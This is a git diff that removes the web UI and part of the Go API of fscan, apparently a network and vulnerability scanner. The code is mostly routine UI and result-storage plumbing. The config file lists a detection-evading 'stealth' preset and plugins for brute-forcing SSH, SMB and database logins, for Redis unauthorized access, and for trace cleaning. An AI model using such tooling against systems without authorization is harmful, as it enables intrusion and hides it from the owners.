Error('Failed to export results'); - } - return response.blob(); -} - -export async function clearResults(): Promise<{ status: string }> { - const response = await fetch(`${API_BASE}/results/clear`, { - method: 'POST', - }); - if (!response.ok) { - throw new Error('Failed to clear results'); - } - return response.json(); -} - -export async function getPresets(): Promise { - const response = await fetch(`${API_BASE}/config/presets`); - if (!response.ok) { - throw new Error('Failed to get presets'); - } - return response.json(); -} - -export async function getPlugins(): Promise { - const response = await fetch(`${API_BASE}/config/plugins`); - if (!response.ok) { - throw new Error('Failed to get plugins'); - } - return response.json(); -} diff --git a/web-ui/src/lib/utils.ts b/web-ui/src/lib/utils.ts deleted file mode 100644 index d084ccad..00000000 --- a/web-ui/src/lib/utils.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { type ClassValue, clsx } from "clsx" -import { twMerge } from "tailwind-merge" - -export function cn(...inputs: ClassValue[]) { - return twMerge(clsx(inputs)) -} diff --git a/web-ui/src/main.tsx b/web-ui/src/main.tsx deleted file mode 100644 index bef5202a..00000000 --- a/web-ui/src/main.tsx +++ /dev/null @@ -1,10 +0,0 @@ -import { StrictMode } from 'react' -import { createRoot } from 'react-dom/client' -import './index.css' -import App from './App.tsx' - -createRoot(document.getElementById('root')!).render( - - - , -) diff --git a/web-ui/src/pages/ResultsPage.tsx b/web-ui/src/pages/ResultsPage.tsx deleted file mode 100644 index bfdb6d9a..00000000 --- a/web-ui/src/pages/ResultsPage.tsx +++ /dev/null @@ -1,299 +0,0 @@ -import { useState, useEffect, useCallback } from 'react'; -import { useTranslation } from 'react-i18next'; -import { - Trash2, RefreshCw, Server, Network, Cog, AlertTriangle, - FileJson, FileSpreadsheet, List, Filter, Clock, CircleDot, Inbox, - Download, ChevronDown -} from 'lucide-react'; -import { Button } from '@/components/ui/button'; -import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'; -import { ScrollArea } from '@/components/ui/scroll-area'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { Separator } from '@/components/ui/separator'; -import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'; -import { - AlertDialog, - AlertDialogAction, - AlertDialogCancel, - AlertDialogContent, - AlertDialogDescription, - AlertDialogFooter, - AlertDialogHeader, - AlertDialogTitle, - AlertDialogTrigger, -} from '@/components/ui/alert-dialog'; -import { - DropdownMenu, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuTrigger, -} from '@/components/ui/dropdown-menu'; -import { Skeleton } from '@/components/ui/skeleton'; -import { EmptyState } from '@/components/ui/empty-state'; -import { LiveFeed } from '@/components/LiveFeed'; -import { ResultsChart } from '@/components/ResultsChart'; -import { getResults, exportResults, clearResults, type ResultItem } from '@/lib/api'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -const TYPE_ICONS = { - host: Server, - port: Network, - service: Cog, - vuln: AlertTriangle, -} as const; - -export function ResultsPage() { - const { t } = useTranslation(); - const { clearLogs } = useLiveFeed(); - const [results, setResults] = useState([]); - const [filter, setFilter] = useState('all'); - const [loading, setLoading] = useState(false); - - const fetchResults = useCallback(async () => { - setLoading(true); - try { - const data = await getResults(); - setResults(data.items); - } catch (err) { - console.error('Failed to fetch results:', err); - } finally { - setLoading(false); - } - }, []); - - useEffect(() => { - fetchResults(); - }, [fetchResults]); - - const handleExport = async (format: 'json' | 'csv') => { - try { - const blob = await exportResults(format); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `fscan_results.${format}`; - a.click(); - URL.revokeObjectURL(url); - } catch (err) { - console.error('Failed to export:', err); - } - }; - - const handleClear = async () => { - try { - await clearResults(); - setResults([]); - clearLogs(); - } catch (err) { - console.error('Failed to clear:', err); - } - }; - - const getTypeIcon = (type: string) => { - const key = type?.toLowerCase() as keyof typeof TYPE_ICONS; - return TYPE_ICONS[key] || CircleDot; - }; - - const getTypeLabel = (type: string) => { - switch (type?.toLowerCase()) { - case 'host': return t('typeHost'); - case 'port': return t('typePort'); - case 'service': return t('typeService'); - case 'vuln': return t('typeVuln'); - default: return type; - } - }; - - const filteredResults = filter === 'all' - ? results - : results.filter(r => r.type === filter); - - return ( - -
- {/* Left Panel - 7 cols */} -
- {/* Live Feed */} - - - {/* Results Panel */} - - - - - {t('resultsTitle')} - - {filteredResults.length} {t('items')} - - -
- - - - - {t('refresh')} - - - - - - - - handleExport('json')}> - - JSON - - handleExport('csv')}> - - CSV - - - - - - - - - - - - - {t('clearConfirmTitle')} - {t('clearConfirm')} - - - {t('cancel')} - - {t('clearAll')} - - - - -
-
- - - - - - - {t('resultsFilterAll')} - - - - {t('resultsFilterHosts')} - - - - {t('resultsFilterPorts')} - - - - {t('resultsFilterServices')} - - - - {t('resultsFilterVulns')} - - - - - - {loading ? ( -
- {[...Array(5)].map((_, i) => ( -
- -
-
- - -
- -
- -
- ))} -
- ) : filteredResults.length === 0 ? ( - - ) : ( -
- {filteredResults.map((result) => { - const Icon = getTypeIcon(result.type); - const badgeVariant = result.type?.toLowerCase() as 'host' | 'port' | 'service' | 'vuln'; - return ( -
-
- -
-
-
- - {getTypeLabel(result.type)} - - - {result.target} - -
- {result.status && ( -

- {result.status} -

- )} -
- - - {new Date(result.time).toLocaleTimeString()} - -
- ); - })} -
- )} -
-
-
-
-
-
- - {/* Right Panel - 3 cols */} -
-
- -
-
-
-
- ); -} diff --git a/web-ui/src/pages/ScanPage.tsx b/web-ui/src/pages/ScanPage.tsx deleted file mode 100644 index e273feeb..00000000 --- a/web-ui/src/pages/ScanPage.tsx +++ /dev/null @@ -1,119 +0,0 @@ -import { useState, useEffect } from 'react'; -import { useTranslation } from 'react-i18next'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import { ScanForm } from '@/components/ScanForm'; -import { LiveFeed } from '@/components/LiveFeed'; -import { StatsPanel } from '@/components/StatsPanel'; -import { startScan, stopScan, getScanStatus, getPresets, type ScanRequest, type ScanStatus, type ScanPreset } from '@/lib/api'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -const DEFAULT_FORM: ScanRequest = { - host: '', - ports: '', - scan_mode: 'all', - thread_num: 600, - timeout: 3, - disable_ping: false, - disable_brute: false, - alive_only: false, - username: '', - password: '', - domain: '', - exclude_hosts: '', - exclude_ports: '', -}; - -export function ScanPage() { - const { t } = useTranslation(); - const { clearLogs } = useLiveFeed(); - const [status, setStatus] = useState(null); - const [presets, setPresets] = useState([]); - const [loading, setLoading] = useState(false); - const [error, setError] = useState(null); - const [formData, setFormData] = useState(DEFAULT_FORM); - - useEffect(() => { - const fetchData = async () => { - try { - const [statusData, presetsData] = await Promise.all([ - getScanStatus(), - getPresets(), - ]); - setStatus(statusData); - setPresets(presetsData); - } catch (err) { - console.error('Failed to fetch data:', err); - } - }; - fetchData(); - - const interval = setInterval(async () => { - try { - const statusData = await getScanStatus(); - setStatus(statusData); - } catch { - // ignore - } - }, 2000); - - return () => clearInterval(interval); - }, []); - - const handleStart = async () => { - if (!formData.host) { - setError(t('targetRequired')); - return; - } - setLoading(true); - setError(null); - clearLogs(); - try { - await startScan(formData); - } catch (err) { - setError(err instanceof Error ? err.message : t('startScanFailed')); - } finally { - setLoading(false); - } - }; - - const handleStop = async () => { - setLoading(true); - try { - await stopScan(); - } catch (err) { - setError(err instanceof Error ? err.message : t('stopScanFailed')); - } finally { - setLoading(false); - } - }; - - const isRunning = status?.state === 'running'; - const isStopping = status?.state === 'stopping'; - - return ( - -
- {/* Left Panel - 7 cols */} -
- - -
- - {/* Right Panel - 3 cols */} -
- -
-
-
- ); -} diff --git a/web-ui/tailwind.config.js b/web-ui/tailwind.config.js deleted file mode 100644 index cdf3b3a1..00000000 --- a/web-ui/tailwind.config.js +++ /dev/null @@ -1,66 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - "./index.html", - "./src/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - fontFamily: { - sans: ['IBM Plex Sans', '-apple-system', 'BlinkMacSystemFont', 'sans-serif'], - mono: ['IBM Plex Mono', 'ui-monospace', 'monospace'], - }, - fontSize: { - '2xs': ['0.625rem', { lineHeight: '0.875rem' }], - }, - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - success: "hsl(var(--success))", - warning: "hsl(var(--warning))", - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - spacing: { - '0.75': '0.1875rem', - '1.25': '0.3125rem', - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} diff --git a/web-ui/tsconfig.app.json b/web-ui/tsconfig.app.json deleted file mode 100644 index 3d2edafd..00000000 --- a/web-ui/tsconfig.app.json +++ /dev/null @@ -1,32 +0,0 @@ -{ - "compilerOptions": { - "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", - "target": "ES2022", - "useDefineForClassFields": true, - "lib": ["ES2022", "DOM", "DOM.Iterable"], - "module": "ESNext", - "types": ["vite/client", "node"], - "skipLibCheck": true, - - /* Bundler mode */ - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "verbatimModuleSyntax": true, - "moduleDetection": "force", - "noEmit": true, - "jsx": "react-jsx", - - /* Path aliases */ - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - }, - - /* Linting */ - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true - }, - "include": ["src"] -} diff --git a/web-ui/tsconfig.json b/web-ui/tsconfig.json deleted file mode 100644 index 1ffef600..00000000 --- a/web-ui/tsconfig.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "files": [], - "references": [ - { "path": "./tsconfig.app.json" }, - { "path": "./tsconfig.node.json" } - ] -} diff --git a/web-ui/tsconfig.node.json b/web-ui/tsconfig.node.json deleted file mode 100644 index 8a67f62f..00000000 --- a/web-ui/tsconfig.node.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "compilerOptions": { - "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", - "target": "ES2023", - "lib": ["ES2023"], - "module": "ESNext", - "types": ["node"], - "skipLibCheck": true, - - /* Bundler mode */ - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "verbatimModuleSyntax": true, - "moduleDetection": "force", - "noEmit": true, - - /* Linting */ - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "erasableSyntaxOnly": true, - "noFallthroughCasesInSwitch": true, - "noUncheckedSideEffectImports": true - }, - "include": ["vite.config.ts"] -} diff --git a/web-ui/vite.config.ts b/web-ui/vite.config.ts deleted file mode 100644 index ec6137e5..00000000 --- a/web-ui/vite.config.ts +++ /dev/null @@ -1,25 +0,0 @@ -import { defineConfig } from 'vite' -import react from '@vitejs/plugin-react' -import path from 'path' - -// https://vite.dev/config/ -export default defineConfig({ - plugins: [react()], - resolve: { - alias: { - '@': path.resolve(__dirname, './src'), - }, - }, - server: { - proxy: { - '/api': { - target: 'http://localhost:10240', - changeOrigin: true, - }, - '/ws': { - target: 'ws://localhost:10240', - ws: true, - }, - }, - }, -}) diff --git a/web/api/config.go b/web/api/config.go deleted file mode 100644 index 34b0ddf3..00000000 --- a/web/api/config.go +++ /dev/null @@ -1,138 +0,0 @@ -//go:build web - -package api - -import ( - "net/http" -) - -// ScanPreset 扫描预设 -type ScanPreset struct { - ID string `json:"id"` - Name string `json:"name"` - NameEn string `json:"name_en"` - Description string `json:"description"` - DescEn string `json:"description_en"` - Ports string `json:"ports"` - ScanMode string `json:"scan_mode"` - ThreadNum int `json:"thread_num"` - Timeout int `json:"timeout"` -} - -// PluginInfo 插件信息 -type PluginInfo struct { - Name string `json:"name"` - Type string `json:"type"` // service, web, local - Description string `json:"description"` - DescEn string `json:"description_en"` - Enabled bool `json:"enabled"` -} - -// ConfigHandler 配置处理器 -type ConfigHandler struct{} - -// NewConfigHandler 创建配置处理器 -func NewConfigHandler() *ConfigHandler { - return &ConfigHandler{} -} - -// 预设配置 -var presets = []ScanPreset{ - { - ID: "quick", - Name: "快速扫描", - NameEn: "Quick Scan", - Description: "仅扫描常用端口,速度最快", - DescEn: "Scan common ports only, fastest speed", - Ports: "21,22,23,80,443,445,1433,3306,3389,6379,8080", - ScanMode: "all", - ThreadNum: 1000, - Timeout: 2, - }, - { - ID: "standard", - Name: "标准扫描", - NameEn: "Standard Scan", - Description: "扫描主要端口,平衡速度和覆盖", - DescEn: "Scan main ports, balance between speed and coverage", - Ports: "21,22,23,25,80,110,135,139,143,443,445,465,587,993,995,1433,1521,3306,3389,5432,5900,6379,8080,8443,9000,27017", - ScanMode: "all", - ThreadNum: 600, - Timeout: 3, - }, - { - ID: "full", - Name: "完整扫描", - NameEn: "Full Scan", - Description: "扫描所有常用端口,最完整", - DescEn: "Scan all common ports, most comprehensive", - Ports: "1-1000,1433,1521,3306,3389,5432,5900,6379,8000-9000,27017", - ScanMode: "all", - ThreadNum: 400, - Timeout: 5, - }, - { - ID: "stealth", - Name: "隐蔽扫描", - NameEn: "Stealth Scan", - Description: "低速扫描,减少被检测风险", - DescEn: "Low-speed scan, reduce detection risk", - Ports: "21,22,23,80,443,445,3389,8080", - ScanMode: "all", - ThreadNum: 50, - Timeout: 10, - }, - { - ID: "web", - Name: "Web专项", - NameEn: "Web Focus", - Description: "专注Web服务和漏洞检测", - DescEn: "Focus on web services and vulnerability detection", - Ports: "80,443,8080,8443,8000,8888,9000,9090,9999", - ScanMode: "all", - ThreadNum: 200, - Timeout: 5, - }, -} - -// 插件列表 -var plugins = []PluginInfo{ - // 服务类 - {Name: "ssh", Type: "service", Description: "SSH服务检测与爆破", DescEn: "SSH service detection and brute force", Enabled: true}, - {Name: "smb", Type: "service", Description: "SMB服务检测与爆破", DescEn: "SMB service detection and brute force", Enabled: true}, - {Name: "rdp", Type: "service", Description: "RDP服务检测", DescEn: "RDP service detection", Enabled: true}, - {Name: "mysql", Type: "service", Description: "MySQL数据库检测与爆破", DescEn: "MySQL database detection and brute force", Enabled: true}, - {Name: "mssql", Type: "service", Description: "MSSQL数据库检测与爆破", DescEn: "MSSQL database detection and brute force", Enabled: true}, - {Name: "postgresql", Type: "service", Description: "PostgreSQL数据库检测与爆破", DescEn: "PostgreSQL database detection and brute force", Enabled: true}, - {Name: "redis", Type: "service", Description: "Redis服务检测与未授权访问", DescEn: "Redis service detection and unauthorized access", Enabled: true}, - {Name: "mongodb", Type: "service", Description: "MongoDB数据库检测", DescEn: "MongoDB database detection", Enabled: true}, - {Name: "ftp", Type: "service", Description: "FTP服务检测与爆破", DescEn: "FTP service detection and brute force", Enabled: true}, - {Name: "telnet", Type: "service", Description: "Telnet服务检测", DescEn: "Telnet service detection", Enabled: true}, - - // Web类 - {Name: "webinfo", Type: "web", Description: "Web指纹识别", DescEn: "Web fingerprinting", Enabled: true}, - {Name: "poc", Type: "web", Description: "POC漏洞检测", DescEn: "POC vulnerability detection", Enabled: true}, - - // 本地类 - {Name: "cleaner", Type: "local", Description: "痕迹清理", DescEn: "Trace cleaning", Enabled: false}, -} - -// Presets 获取扫描预设 -func (h *ConfigHandler) Presets(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - writeJSON(w, http.StatusOK, presets) -} - -// Plugins 获取插件列表 -func (h *ConfigHandler) Plugins(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - writeJSON(w, http.StatusOK, plugins) -} diff --git a/web/api/project.go b/web/api/project.go deleted file mode 100644 index 14693846..00000000 --- a/web/api/project.go +++ /dev/null @@ -1,293 +0,0 @@ -//go:build web - -package api - -import ( - "crypto/rand" - "encoding/json" - "fmt" - "net/http" - "os" - "path/filepath" - "strings" - "sync" - "time" -) - -// ProjectCache 项目缓存:跨扫描持久化已知资产 -type ProjectCache struct { - ID string `json:"id"` - Name string `json:"name"` - Hosts map[string]int64 `json:"hosts"` // IP → 最后发现时间戳(unix) - Ports map[string]int64 `json:"ports"` // "IP:Port" → 最后发现时间戳(unix) - Results []ResultItem `json:"results"` // 历史结果(合并去重) - CreatedAt time.Time `json:"created_at"` - UpdatedAt time.Time `json:"updated_at"` -} - -// ProjectStore 项目存储管理 -type ProjectStore struct { - mu sync.RWMutex - projects map[string]*ProjectCache - dir string -} - -var globalProjectStore *ProjectStore - -func init() { - home, _ := os.UserHomeDir() - dir := filepath.Join(home, ".fscan", "projects") - globalProjectStore = &ProjectStore{ - projects: make(map[string]*ProjectCache), - dir: dir, - } - globalProjectStore.loadAll() -} - -// loadAll 从磁盘加载所有项目 -func (ps *ProjectStore) loadAll() { - _ = os.MkdirAll(ps.dir, 0750) - entries, err := os.ReadDir(ps.dir) - if err != nil { - return - } - for _, e := range entries { - if e.IsDir() || !strings.HasSuffix(e.Name(), ".json") { - continue - } - data, err := os.ReadFile(filepath.Join(ps.dir, e.Name())) - if err != nil { - continue - } - var p ProjectCache - if json.Unmarshal(data, &p) == nil && p.ID != "" { - ps.projects[p.ID] = &p - } - } -} - -// save 持久化单个项目 -func (ps *ProjectStore) save(p *ProjectCache) error { - _ = os.MkdirAll(ps.dir, 0750) - data, err := json.MarshalIndent(p, "", " ") - if err != nil { - return err - } - return os.WriteFile(filepath.Join(ps.dir, p.ID+".json"), data, 0640) -} - -// Get 获取项目 -func (ps *ProjectStore) Get(id string) *ProjectCache { - ps.mu.RLock() - defer ps.mu.RUnlock() - return ps.projects[id] -} - -// List 列出所有项目 -func (ps *ProjectStore) List() []*ProjectCache { - ps.mu.RLock() - defer ps.mu.RUnlock() - list := make([]*ProjectCache, 0, len(ps.projects)) - for _, p := range ps.projects { - list = append(list, p) - } - return list -} - -// Create 创建项目 -func (ps *ProjectStore) Create(name string) (*ProjectCache, error) { - ps.mu.Lock() - defer ps.mu.Unlock() - - id := genID() - p := &ProjectCache{ - ID: id, - Name: name, - Hosts: make(map[string]int64), - Ports: make(map[string]int64), - Results: make([]ResultItem, 0), - CreatedAt: time.Now(), - UpdatedAt: time.Now(), - } - if err := ps.save(p); err != nil { - return nil, err - } - ps.projects[id] = p - return p, nil -} - -// Delete 删除项目 -func (ps *ProjectStore) Delete(id string) error { - ps.mu.Lock() - defer ps.mu.Unlock() - delete(ps.projects, id) - return os.Remove(filepath.Join(ps.dir, id+".json")) -} - -// MergeResults 将扫描结果合并进项目缓存 -func (ps *ProjectStore) MergeResults(id string, items []ResultItem) error { - ps.mu.Lock() - defer ps.mu.Unlock() - - p, ok := ps.projects[id] - if !ok { - return fmt.Errorf("project not found: %s", id) - } - - now := time.Now().Unix() - - // 构建已有结果的去重集合 - seen := make(map[string]bool, len(p.Results)) - for _, r := range p.Results { - seen[resultKey(r)] = true - } - - for _, item := range items { - // 更新资产缓存 - switch strings.ToLower(item.Type) { - case "host": - if item.Target != "" { - p.Hosts[item.Target] = now - } - case "port", "service": - if item.Target != "" { - p.Ports[item.Target] = now - // 提取 host 部分也记入 Hosts - if host := extractHost(item.Target); host != "" { - p.Hosts[host] = now - } - } - } - - // 合并去重 - key := resultKey(item) - if !seen[key] { - seen[key] = true - p.Results = append(p.Results, item) - } - } - - p.UpdatedAt = time.Now() - return ps.save(p) -} - -// CachedHostPorts 返回缓存的 host:port 列表(供注入扫描) -func (ps *ProjectStore) CachedHostPorts(id string) []string { - ps.mu.RLock() - defer ps.mu.RUnlock() - - p, ok := ps.projects[id] - if !ok { - return nil - } - result := make([]string, 0, len(p.Ports)) - for hp := range p.Ports { - result = append(result, hp) - } - return result -} - -func resultKey(r ResultItem) string { - return fmt.Sprintf("%s|%s|%s", r.Type, r.Target, r.Status) -} - -func genID() string { - b := make([]byte, 8) - _, _ = rand.Read(b) - return fmt.Sprintf("%x", b) -} - -// ─── HTTP Handlers ────────────────────────────────────────────────────────── - -type ProjectHandler struct { - store *ProjectStore -} - -func NewProjectHandler() *ProjectHandler { - return &ProjectHandler{store: globalProjectStore} -} - -// List 列出所有项目 -func (h *ProjectHandler) List(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - writeJSON(w, http.StatusOK, h.store.List()) -} - -// Create 创建项目 -func (h *ProjectHandler) Create(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - var req struct { - Name string `json:"name"` - } - if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Name == "" { - writeJSON(w, http.StatusBadRequest, map[string]string{"error": "name is required"}) - return - } - p, err := h.store.Create(req.Name) - if err != nil { - writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) - return - } - writeJSON(w, http.StatusOK, p) -} - -// Get 获取项目详情 -func (h *ProjectHandler) Get(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - id := r.URL.Query().Get("id") - p := h.store.Get(id) - if p == nil { - writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) - return - } - writeJSON(w, http.StatusOK, p) -} - -// Delete 删除项目 -func (h *ProjectHandler) Delete(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - var req struct { - ID string `json:"id"` - } - if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.ID == "" { - writeJSON(w, http.StatusBadRequest, map[string]string{"error": "id is required"}) - return - } - if err := h.store.Delete(req.ID); err != nil { - writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) - return - } - writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"}) -} - -// Cache 查看项目缓存摘要 -func (h *ProjectHandler) Cache(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - id := r.URL.Query().Get("id") - p := h.store.Get(id) - if p == nil { - writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) - return - } - writeJSON(w, http.StatusOK, map[string]interface{}{ - "hosts": len(p.Hosts), - "ports": len(p.Ports), - "results": len(p.Results), - "cached_ports": h.store.CachedHostPorts(id), - }) -} diff --git a/web/api/result.go b/web/api/result.go deleted file mode 100644 index 1ec9c16a..00000000 --- a/web/api/result.go +++ /dev/null @@ -1,592 +0,0 @@ -//go:build web - -package api - -import ( - "database/sql" - "encoding/csv" - "encoding/json" - "fmt" - "net" - "net/http" - "os" - "path/filepath" - "strconv" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common/i18n" - _ "modernc.org/sqlite" -) - -// ResultItem 扫描结果项 -type ResultItem struct { - ID int64 `json:"id"` - Time time.Time `json:"time"` - Type string `json:"type"` // host, port, service, vuln - Target string `json:"target"` - Status string `json:"status"` - Details interface{} `json:"details,omitempty"` -} - -// ResultStore SQLite 结果存储 -type ResultStore struct { - mu sync.RWMutex - db *sql.DB -} - -// 全局结果存储 -var globalResultStore *ResultStore - -func init() { - store, err := NewResultStore() - if err != nil { - panic(fmt.Sprintf("failed to init result store: %v", err)) - } - globalResultStore = store -} - -// dbPath 返回数据库文件路径 -func dbPath() string { - home, err := os.UserHomeDir() - if err != nil { - home = "." - } - dir := filepath.Join(home, ".fscan") - _ = os.MkdirAll(dir, 0755) - return filepath.Join(dir, "results.db") -} - -// NewResultStore 创建 SQLite 存储 -func NewResultStore() (*ResultStore, error) { - db, err := sql.Open("sqlite", dbPath()) - if err != nil { - return nil, err - } - - // WAL 模式,提升并发读写 - if _, err := db.Exec("PRAGMA journal_mode=WAL"); err != nil { - db.Close() - return nil, err - } - - if _, err := db.Exec(` - CREATE TABLE IF NOT EXISTS results ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - time TEXT NOT NULL, - type TEXT NOT NULL, - target TEXT NOT NULL, - status TEXT NOT NULL DEFAULT '', - details TEXT NOT NULL DEFAULT '{}', - UNIQUE(type, target, status) - ) - `); err != nil { - db.Close() - return nil, err - } - - return &ResultStore{db: db}, nil -} - -// Add 添加结果(去重,重复返回 nil) -func (s *ResultStore) Add(result interface{}) *ResultItem { - s.mu.Lock() - defer s.mu.Unlock() - - item := ResultItem{ - Time: time.Now(), - Details: result, - } - - // 解析结果字段 - if m, ok := result.(map[string]interface{}); ok { - if t, ok := m["type"].(string); ok { - item.Type = strings.ToLower(t) - } - if target, ok := m["target"].(string); ok { - item.Target = target - } - if status, ok := m["status"].(string); ok { - item.Status = status - } - if details, ok := m["details"].(map[string]interface{}); ok { - item.Details = details - if port, ok := details["port"]; ok { - if target := targetWithDetailsPort(item.Target, port); target != "" { - item.Target = target - } - } - item.Status = buildStatusFromDetails(item.Type, item.Status, details) - } - } - - detailsJSON, _ := json.Marshal(item.Details) - - // service/port 类型:同一 target 只保留最详细的 - if item.Type == "service" || item.Type == "port" { - var existID int64 - var existStatus string - err := s.db.QueryRow( - "SELECT id, status FROM results WHERE type = ? AND target = ? LIMIT 1", - item.Type, item.Target, - ).Scan(&existID, &existStatus) - - if err == nil { - // 已有记录,判断是否需要更新 - if (existStatus == "identified" || existStatus == "open" || existStatus == "") && - item.Status != "identified" && item.Status != "open" && item.Status != "" { - s.db.Exec( - "UPDATE results SET status = ?, details = ?, time = ? WHERE id = ?", - item.Status, string(detailsJSON), item.Time.Format(time.RFC3339), existID, - ) - item.ID = existID - return &item - } - return nil - } - } - - // 插入(UNIQUE 约束自动去重) - res, err := s.db.Exec( - "INSERT OR IGNORE INTO results (time, type, target, status, details) VALUES (?, ?, ?, ?, ?)", - item.Time.Format(time.RFC3339), item.Type, item.Target, item.Status, string(detailsJSON), - ) - if err != nil { - return nil - } - - affected, _ := res.RowsAffected() - if affected == 0 { - return nil // 重复 - } - - item.ID, _ = res.LastInsertId() - return &item -} - -func targetWithDetailsPort(target string, port interface{}) string { - if target == "" { - return "" - } - if strings.Contains(target, "://") || strings.ContainsAny(target, "/?#") { - return "" - } - if _, _, ok := splitTargetHostPort(target); ok { - return "" - } - if strings.Contains(target, ":") { - hostForIP := target - if strings.HasPrefix(hostForIP, "[") && strings.HasSuffix(hostForIP, "]") { - hostForIP = strings.TrimPrefix(strings.TrimSuffix(hostForIP, "]"), "[") - } - if net.ParseIP(hostForIP) == nil { - return "" - } - } - portText := strings.TrimSpace(fmt.Sprint(port)) - portNum, err := strconv.Atoi(portText) - if err != nil || portNum < 1 || portNum > 65535 { - return "" - } - host := target - if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { - host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[") - } - return net.JoinHostPort(host, portText) -} - -// List 获取所有结果 -func (s *ResultStore) List() []ResultItem { - s.mu.RLock() - defer s.mu.RUnlock() - - rows, err := s.db.Query("SELECT id, time, type, target, status, details FROM results ORDER BY id") - if err != nil { - return nil - } - defer rows.Close() - - return scanRows(rows) -} - -// Stats 获取统计信息 -func (s *ResultStore) Stats() ScanStats { - s.mu.RLock() - defer s.mu.RUnlock() - - var stats ScanStats - rows, err := s.db.Query("SELECT type, COUNT(*) FROM results GROUP BY type") - if err != nil { - return stats - } - defer rows.Close() - - for rows.Next() { - var t string - var count int - if rows.Scan(&t, &count) == nil { - switch t { - case "host": - stats.HostsScanned = count - case "port": - stats.PortsScanned = count - case "service": - stats.ServicesFound = count - case "vuln": - stats.VulnsFound = count - } - } - } - return stats -} - -// Clear 清空结果 -func (s *ResultStore) Clear() { - s.mu.Lock() - defer s.mu.Unlock() - s.db.Exec("DELETE FROM results") -} - -// scanRows 解析查询结果 -func scanRows(rows *sql.Rows) []ResultItem { - var items []ResultItem - for rows.Next() { - var item ResultItem - var timeStr, detailsStr string - if err := rows.Scan(&item.ID, &timeStr, &item.Type, &item.Target, &item.Status, &detailsStr); err != nil { - continue - } - item.Time, _ = time.Parse(time.RFC3339, timeStr) - var details interface{} - if json.Unmarshal([]byte(detailsStr), &details) == nil { - item.Details = details - } - items = append(items, item) - } - return items -} - -// ResultHandler 结果处理器 -type ResultHandler struct { - store *ResultStore -} - -// NewResultHandler 创建结果处理器 -func NewResultHandler() *ResultHandler { - return &ResultHandler{ - store: globalResultStore, - } -} - -// List 获取结果列表 -func (h *ResultHandler) List(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - typeFilter := r.URL.Query().Get("type") - items := h.store.List() - - if typeFilter != "" { - filtered := make([]ResultItem, 0) - for _, item := range items { - if item.Type == typeFilter { - filtered = append(filtered, item) - } - } - items = filtered - } - - writeJSON(w, http.StatusOK, map[string]interface{}{ - "items": items, - "total": len(items), - "stats": h.store.Stats(), - }) -} - -// ExportOutput 导出输出结构 -type ExportOutput struct { - ScanTime time.Time `json:"scan_time"` - Summary ExportSummary 